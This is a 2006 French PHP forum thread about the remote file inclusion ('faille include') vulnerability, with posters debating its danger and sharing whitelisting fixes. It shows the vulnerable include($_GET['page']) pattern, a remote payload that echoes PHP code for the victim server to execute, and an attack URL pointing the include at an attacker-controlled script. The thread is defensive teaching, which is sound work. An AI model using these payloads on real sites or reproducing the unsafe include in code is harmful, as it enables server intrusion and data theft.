la faille INCLUDE

Eléphant du PHP | 135 Messages

18 oct. 2006, 13:37

le switch ne permet pas que d'éviter le crash du script.

ça permet justement d'avoir une liste de fichier autoriser.

Administrateur PHPfrance
Administrateur PHPfrance | 3131 Messages

18 oct. 2006, 14:22

- vérifier que le fichier existe est strictement inutile en effet en terme de sécurité, c'est juste un moyen de récupérer l'erreur avant la génération d'un avertissement (include) ou d'une erreur (require).

- il n'y a pas de faille connue lors de l'utilisation d'include ou require pour peu que l'on soit sûr du fichier que l'on inclut : il est donc hors de question d'inclure un fichier distant ou un fichier dont le nom est directement issu d'une variable externe non vérifiée.

À partir de là, pour inclure un fichier en toute quiétude, il est nécessaire et suffisant de suivre les règles suivantes :
- le fichier est local
- le nom du fichier est inscrit en dur OU BIEN le nom du fichier est calculé à partir d'une variable externe et fait partie d'un ensemble fini connu (liste de pages validées, dirname() connu validé).

Dire que l'inclusion d'un fichier distant n'est pas dangereuse est une hérésie.

http://localhost/include.php
<?php include "http://widehost/included.php"; ?>
http://widehost/included.php
<?php echo '<'.'?php phpinfo(); ?'.'>'; ?>
Ce n'est pas parce que le fichier est sur un serveur distant et donc déjà interprété (et encore, je suis passé outre le fait qu'on peut aussi très bien ne pas interprété le code sur le serveur distant, et renvoyer directement le source à inclure) que ça m'empêchera de lui faire générer du code interprétable par mon fichier local.

Modérateur PHPfrance
Modérateur PHPfrance | 2575 Messages

18 oct. 2006, 16:26

-
Dire que l'inclusion d'un fichier distant n'est pas dangereuse est une hérésie.

http://localhost/include.php
<?php include "http://widehost/included.php"; ?>
http://widehost/included.php
<?php echo '<'.'?php phpinfo(); ?'.'>'; ?>
Ce n'est pas parce que le fichier est sur un serveur distant et donc déjà interprété (et encore, je suis passé outre le fait qu'on peut aussi très bien ne pas interprété le code sur le serveur distant, et renvoyer directement le source à inclure) que ça m'empêchera de lui faire générer du code interprétable par mon fichier local.
Je te rappelle que le phpinfo() dans ton exemple va afficher la config php du serveur widehost et non pas du localhost qui fait l'include.

Et si le développeur de widehost a mis un phpinfo() dans son script c'est qu'il a accepté de publier cette info.

Il n'y a aucune intrusion ici: localhost sert comme redirecteur un point c'est tout et le phpinfo() ne s'exécute donc même pas dans sa session.

Entre un script d'un serveur X qui fait un include d'un script d'un autre serveur Y il n'y a aucun échange de variables ni de code puisque les sessions d'exécution sont distinctes.
Le seul retour possible d'un include distant est un echo.

Attention: Ne pas confondre un include local/local avec un include local/distant.
Modifié en dernier par sadeq le 18 oct. 2006, 16:37, modifié 1 fois.
--------//////----//---//----//////
-------//---//----//---//----//---//
------//////----//////-----//////
-----||--------||--||---||
Prendre le recul n'est pas une perte de temps.


ps: Affrontez moi dans l'arène

Eléphant du PHP | 135 Messages

18 oct. 2006, 16:34

Je te rappelle que le phpinfo() dans ton exemple va afficher la config php du serveur widehost et non pas du localhost qui fait l'include.
faux, il va bel et bien afficher le phpinfo du localhost :)



quand localhost va chercher à inclure le fichier de widehost avec le code suivant
<?php echo '<'.'?php phpinfo(); ?'.'>'; ?>
il va recevoir le résultat interprêté qui sera
<?php echo phpinfo(); ?>
qu'il va donc interprêté et afficher sa config.

évidemment, avoir le phpinfo n'importe qu'un interêt mineur :)

l'attaquant pourrait très bien mettre au point un script pour parcourir les fichiers tel un explorateur.

Ce qui serait déjà bien plus utile...
Et si le développeur de widehost a mis un phpinfo() dans son script c'est qu'il a accepté de publier cette info.
dans ce cas précis, le développeur de widehost est le pirate.

Modérateur PHPfrance
Modérateur PHPfrance | 2575 Messages

18 oct. 2006, 16:48

Ah ba oui, j'ai pas bien vu le code (il y a un echo) je m'excuse, au temps pour moi :oops:
Dans ce cas, oui effectivement et comme j'ai dit localhost reçoit l'echo et l'évalue.
Mais l'exemple n'est pas pertinent, pour quoi effectuer sciemment un include de la page du pirate ?!
--------//////----//---//----//////
-------//---//----//---//----//---//
------//////----//////-----//////
-----||--------||--||---||
Prendre le recul n'est pas une perte de temps.


ps: Affrontez moi dans l'arène

Eléphant du PHP | 135 Messages

18 oct. 2006, 17:22

Ah ba oui, j'ai pas bien vu le code (il y a un echo) je m'excuse, au temps pour moi Embarassed
pas de soucis voyons, on est là pour se corriger les uns les autres :)

Mais l'exemple n'est pas pertinent, pour quoi effectuer sciemment un include de la page du pirate ?!
il faut voir tout le puzzle pour comprendre, ce n'est pas sciemment :) (heureusement)

prenons notre programmeur débutant que nous appelerons 'gnome' (sans être méchant biensur) pour faire plus court

donc notre gnome va faire le code suivant
... code html ...
<?php
include($_GET['page']);
?>
notre gnome utilise ce script pour sa navigation, lorsqu'un utilisateur veut aller sur la page inscription.php, le gnome met un lien suivant:

Code : Tout sélectionner

http://gnome.com/?page=inscription.php
le faille est en place :)


ensuite vient notre petit chenapant qui vient de lire un tutoriel sur la faille include, il arrive sur le site du gnome et ohhh magie une faille ...

notre petit chenapant va entrer l'url:

Code : Tout sélectionner

http://gnome.com/?page=http://chenapant.com/script_explorer.php
et à partir de la on reprend l'explication qui a été donnée plus haut :)
Modifié en dernier par Erazer le 18 oct. 2006, 17:52, modifié 2 fois.

ViPHP
ViPHP | 1024 Messages

18 oct. 2006, 17:27

Mais l'exemple n'est pas pertinent, pour quoi effectuer sciemment un include de la page du pirate ?!
parce que c'est toi le pirate, et qu'à la place de phpinfo() tu as mis un code pour lire/effacer tous les fichiers du serveur, et récupérer des mots de passe.

j'ai déjà fait joujou avec la faille include ( soft, hein, juste pour voir que ça marche), c'est redoutable!

A+

Pascal

Mammouth du PHP | 19672 Messages

18 oct. 2006, 18:56

:idea: Ce que moi je fais pour avoir la paix :
<?php
$rep_pages = "./mespages";
$page = isset($_GET['page']) ? $_GET['page'] : "accueil";
/* Petite vérification de sécurité */
if(file_exists($rep_pages ."/". $page))
{
    switch($page)
    {
        case "contact" :
            $afficher = $rep_pages ."/contact.php";
            break;
        case "accueil":
        default :
            $afficher = $rep_pages ."/accueil.php";
    }
}
/* En option une redirection vers une page de félicitation du jury */
else
{
    $afficher = $rep_pages ."/sans-genie.php";
}
include($afficher);
?>
de cette manière, tu peux bien essayer de m'injecter du code dans la page, je te souhaite bien du plaisir :)
Codez en pensant que celui qui maintiendra votre code est un psychopathe qui connait votre adresse :axe:

Mammouth du PHP | 843 Messages

18 oct. 2006, 23:51

@Cyrano:

pourrait tu m'eclaircire quelque point stp [-o<
$page = isset($_GET['page']) ? $_GET['page'] : "accueil"; 
ici tu stipule que soit la page est definit dans l'url soit on redirige vers l'acceuil c'est ça? (j'ai encore du mal à saisir le sens de ?)

plus bas, pourquoi restipule tu default pour la page d'acceuil alors :-k

dernière supposition: dans ton else je suppose qu'il peut y avoir soit une page de congratulation pour le hacker qui va tente d'exploiter la faille qui n'y ai pas, mais aussi toute autre page qui ne serai pas referencer dans le switch :-k

EDIT: j'oubliais un petit point. pourquoi un include de la variable page? (la seul explication serai pour moi que ton present script est inclue sur toute tes pages et que ce include de variable sert uniquement à ne retourner que la variable page de ce script (pas les autres). C'est ça?
:: contactez moi par MP ::
:non: NON au language SMS sur les forums :non:

Mammouth du PHP | 19672 Messages

19 oct. 2006, 07:49

ici tu stipule que soit la page est definit dans l'url soit on redirige vers l'acceuil c'est ça? (j'ai encore du mal à saisir le sens de ?)
Pour cette partie, regarde donc ICI

Ce genre de code, c'est assez souvent une partie de ma page index et ce code n'est reproduit nulle part ailleurs.
Pourquoi préciser "accueil" ET default : parce que l'internaute qui manipule l'url pourrait mettre un nom de fichier qui existe mais qui n'est pas une page prévue pour être affichée ici : donc non seulement il faut que le fichier existe, mais il faut en plus qu'il soit répertorié dans un des "case".

Tout ceci, c'est le principe très général des pseudo-frames. Lorsque je construis un index sur ce modèle, il n'y a pas que l'include de la page : ce dernier est en général précédé d'un ou plusieurs autre(s) include() pour un fichier de configuration, l'en-tête HTML, le haut de la page et/ou les menus de navigation et suivi d'un autre include() pour le pied de page. La page en tant que telle que j'inclus ici est strictement limitée au contenu principal.
Codez en pensant que celui qui maintiendra votre code est un psychopathe qui connait votre adresse :axe:

Modérateur PHPfrance
Modérateur PHPfrance | 2575 Messages

19 oct. 2006, 11:21

Ok, tout ça c'est beau mais pourquoi nom de Zeus passer "page" comme paramètre pour faire un include derrière :twisted:

Vous jouez avec le feu en donnant la main au client de gérer l'enchainement des pages. Ce n'est pas conceptuel tout ça!

  • <mode reset>
    La question maintenant n'est-elle pas d'ordre conceptuel et non une question d'include ?
    </mode reset>
[/size]
--------//////----//---//----//////
-------//---//----//---//----//---//
------//////----//////-----//////
-----||--------||--||---||
Prendre le recul n'est pas une perte de temps.


ps: Affrontez moi dans l'arène

Mammouth du PHP | 19672 Messages

19 oct. 2006, 12:12

Je dirais que comme j'utilise des fichiers inclus au lieu d'avoir des pages complètes à chaque fois, j'ai besoin d'utiliser ce système. Pour couronner le tout, je rajoute un url-rewritting et la question est réglée, il n'y aura plus aucune possibilité d'injection via l'url puisque l'url n'aura plus aucun paramètre manipulable et qu'en ajouter un quand même aboutira si j'ai bien écrit mon .htaccess dans un mur 404.
Codez en pensant que celui qui maintiendra votre code est un psychopathe qui connait votre adresse :axe: